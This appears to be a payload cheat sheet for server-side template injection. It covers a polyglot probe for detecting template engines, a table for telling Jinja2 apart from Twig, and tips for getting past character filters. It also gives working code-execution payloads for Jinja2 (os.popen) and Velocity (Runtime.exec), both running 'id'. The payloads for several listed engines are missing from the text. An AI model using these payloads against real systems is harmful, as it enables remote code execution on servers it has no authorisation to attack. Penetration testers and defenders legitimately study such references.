Template injection
classInput reaching a template engine as template source rather than as data. Usually ends in code execution.
01Detect
One payload tells you whether you're in a template at all.
POLYGLOT PROBE7
${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}Fire all of them at once. Whatever comes back tells you which engine you're facing.
ENCCOPYREADING THE RESULT
49 from {{7*7}} | Jinja2, Twig, or another curly-brace engine |
49 from ${7*7} | Freemarker, Velocity, or a JS template literal |
49 from <%= 7*7 %> | ERB or EJS |
7777777 from {{7*'7'}} | Jinja2 — Python repeats the string |
49 from {{7*'7'}} | Twig — PHP coerces to a number |
| Nothing, but no error | It's data, not a template. Move on. |
The {{7*'7'}} distinction between Jinja2 and Twig is worth memorising — it's the difference between a Python and a PHP payload chain, and everything after this point depends on it.
02Jinja2 (Python)
JINJA28
{{cycler.__init__.__globals__.os.popen('id').read()}}Shorter chain, no
ENCCOPY__builtins__. Usually the one that works.When . is filtered, use [] — {{lipsum['__globals__']['os']}}. When _ is filtered, use \x5f. When both are, you're into the __class__.__mro__ chain and it's a long evening.
03Twig (PHP)
TWIG5
04Freemarker and Velocity (Java)
FREEMARKER2
VELOCITY1
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
ENCCOPY05ERB and EJS
ERB (RUBY)4
EJS (NODE)2
Node template engines vary wildly in what's in scope. If global isn't there, try process, then require directly — one of the three is usually reachable.